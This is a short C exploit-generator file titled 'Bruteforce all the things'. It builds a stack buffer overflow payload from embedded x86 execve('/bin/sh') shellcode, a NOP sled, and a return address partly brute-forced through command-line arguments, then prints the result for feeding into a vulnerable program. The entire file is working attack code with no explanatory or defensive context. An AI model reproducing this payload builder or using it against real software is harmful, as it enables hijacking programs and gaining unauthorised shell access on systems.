Bruteforce all the things

brute.c

#include<stdio.h>
#include<string.h>


#if 0
char SC[] =   "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"
              "\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"
              "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"
              "\x42";
#else

char SC[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#endif

#define TOTAL_SIZE (128 + 4)

int main(int argc, char* argv[]) {
	if (argc < 3) {
		printf("usage: %s <first> <second>\n", argv[0]);
		exit(1);
	}

	// -1 because is seen as a string so \x00 is at the end
	int sc_size = sizeof(SC) - 1;
	unsigned int nop_size = TOTAL_SIZE - sc_size;

	fprintf(stderr,"SC size: %d\n", sc_size);
	fprintf(stderr, "NOP size: %d\n", nop_size);

	int cycle1 = atoi(argv[1]);
	int cycle2 = atoi(argv[2]);

	char buf[128 + 4 + 4 + 1];

	memcpy(buf, SC, sc_size);
	memset(buf + sc_size, 0x90, nop_size);

	buf [135] = 0x08;
	buf [134] = 0x04;
	buf [136] = 0x00;

	buf[133] = cycle1;
	buf[132] = cycle2;

	fprintf(stderr, "address: 0x%x\n", *(unsigned long*)(buf+132));

	void (*shellcode)(void) = &SC;

	//shellcode();

	printf(buf);
}